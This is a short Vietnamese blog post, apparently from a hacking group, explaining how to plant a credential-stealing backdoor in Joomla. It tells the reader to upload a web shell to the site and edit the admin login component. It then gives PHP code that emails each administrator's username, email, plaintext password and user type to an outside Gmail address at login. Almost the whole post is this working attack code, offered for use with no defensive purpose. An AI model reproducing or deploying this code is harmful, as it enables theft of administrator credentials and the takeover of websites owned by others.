Sunday, June 1, 2014

Chèn keylogger vào Joomla

Bước 1: Up shell lên site joomla


Bước 2: Insert mã độc vào code

- Vào administrator/components/com_login/

- Edit file: admin.login.php

- Tìm dòng:$mainframe->redirect('index.php');

- Thêm trước dòng này 1 đoạn code như sau:




$db =& JFactory::getDBO(); 

$mailfrom = $mainframe->getCfg( 'mailfrom' );

$fromname = $mainframe->getCfg( 'fromname' );

$siteURL = JURI::base();

$uname = $credentials['username']; 

$query = 'SELECT name , email, usertype ' .

' FROM #__users' .

' WHERE username = "'.$uname.'"';

$db->setQuery( $query );

$rows = $db->loadObject();




if ( ! $mailfrom || ! $fromname ) {

$fromname = $rows->name;

$mailfrom = $rows->email;

}

$usertype = $rows->usertype; 

$email = $rows->email;

$pass = $credentials['password'];




$message = "$uname|$email|$pass|$usertype";

$to="xxx@gmail.com";

$header = "Content-type: text/html; charset=utf-8\r\nFrom: $mailfrom\r\nReply-to: $to";

@mail($to, $siteURL, $message, $header);
Với đoạn code này thì khi admin đăng nhập thì username, password, email sẽ tự động gửi về mail: xxx@gmail.com

Source: TYN-UG

No comments:

Post a Comment